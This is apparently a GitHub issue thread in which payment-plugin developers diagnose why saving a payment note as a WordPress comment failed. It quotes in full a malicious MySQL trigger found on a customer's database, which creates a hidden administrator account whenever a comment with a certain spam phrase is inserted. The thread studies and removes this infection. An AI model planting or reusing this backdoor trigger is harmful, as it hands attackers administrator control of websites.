Payment note failure prevents payment

[rvdsteege]

A customer got the following error message on payment start:

Could not add note "Payment created with status "Pending"." to payment with ID "8157".

On further investigation it appeared that an incorrect trigger for the wp_comments database table was the cause of the issue.

Not being able to add the note prevented the payment from being started. Is that necessary or can we improve upon this?

@remcotolsma thoughts?

Internal Help Scout ticket: https://secure.helpscout.net/conversation/2011455051/24482/

[remcotolsma]

This seems to me to be an exceptional situation where in my opinion the current implementation is acceptable. If I understand correctly, there was a trigger that created a new administrator user when a comment was inserted with the text are you struggling to get comments on your blog??

BEGIN
    IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
        SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `jurjeyc204_vhp`.`wpbq_users`);
        SET @nextWpUsersID = @lastInsertWpUsersId + 1;
        INSERT INTO `jurjeyc204_vhp`.`wpbq_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwaoGJxViPhtGdNG5UZs1', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');
        INSERT INTO `jurjeyc204_vhp`.`wpbq_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wpbq_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
        INSERT INTO `jurjeyc204_vhp`.`wpbq_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, 'wpbq_user_level', '10');
    END IF;
 END

That our implementation reveals such infections is only a good thing in my opinion.

https://github.com/pronamic/wp-pay-core/blob/d581c57c7db5d9a9b68c89f7a21694ef38309817/src/Payments/Payment.php#L158-L196

[remcotolsma]

Or should we extend the exception message with the last database error ($wpdb->last_error) @rvdsteege?

https://github.com/pronamic/wp-pay-core/blob/d581c57c7db5d9a9b68c89f7a21694ef38309817/src/Payments/Payment.php#L186-L192

https://github.com/WordPress/wordpress-develop/blob/2bb5679d666474d024352fa53f07344affef7e69/src/wp-includes/comment.php#L2015-L2017

https://github.com/WordPress/wordpress-develop/blob/7a6ba32941c19c1cc26546cc22a0c846cc93e84a/src/wp-includes/class-wpdb.php#L77-L84

Bij het toevoegen van een reactie met een bepaalde tekst, werd automatisch geprobeerd om ook een nieuwe beheerder gebruiker aan te maken. Dat mislukte echter, waardoor de reactie ook niet kon worden toegevoegd — en de betaling vervolgens niet werd opgestart. De malafide trigger heb ik verwijderd en het toevoegen van reactie's verloopt nu weer zoals het hoort. Ook mijn testbetaling werd zonder foutmeldingen opgestart.

Did the database server give an error?

The current exception message is not very clear?

'Could not add note "%s" to payment with ID "%d".' https://github.com/pronamic/wp-pay-core/blob/d581c57c7db5d9a9b68c89f7a21694ef38309817/src/Payments/Payment.php#L186-L192

[rvdsteege]

There could be anything with the comments table and it is indeed nice that this was discovered through our plugin, but the real question is if that should prevent the payment from being started? Notes are technically not required to start and process the payment, but our code handles it as if it is required. I'm not sure if we really want it to be this way.

[remcotolsma]

I could reproduce this issue with the following trigger:

DELIMITER $$

CREATE TRIGGER wp_comment_error
    BEFORE INSERT ON wp_comments FOR EACH ROW
    BEGIN
        UPDATE `Error` SET x=1;
    END$$

DELIMITER ;

https://stackoverflow.com/questions/24/throw-an-error-preventing-a-table-update-in-a-mysql-trigger

There could be anything with the comments table and it is indeed nice that this was discovered through our plugin, but the real question is if that should prevent the payment from being started? Notes are technically not required to start and process the payment, but our code handles it as if it is required. I'm not sure if we really want it to be this way.

Yes, difficult, don't think this happens very often. At least I haven't seen this before. Let's not worry too much about this for now. I've added a notification in the code: https://github.com/pronamic/wp-pay-core/commit/3a7917ec8ba089646baa6ccaf7af30a4afd3ae60. If we come across more cases we can always review this.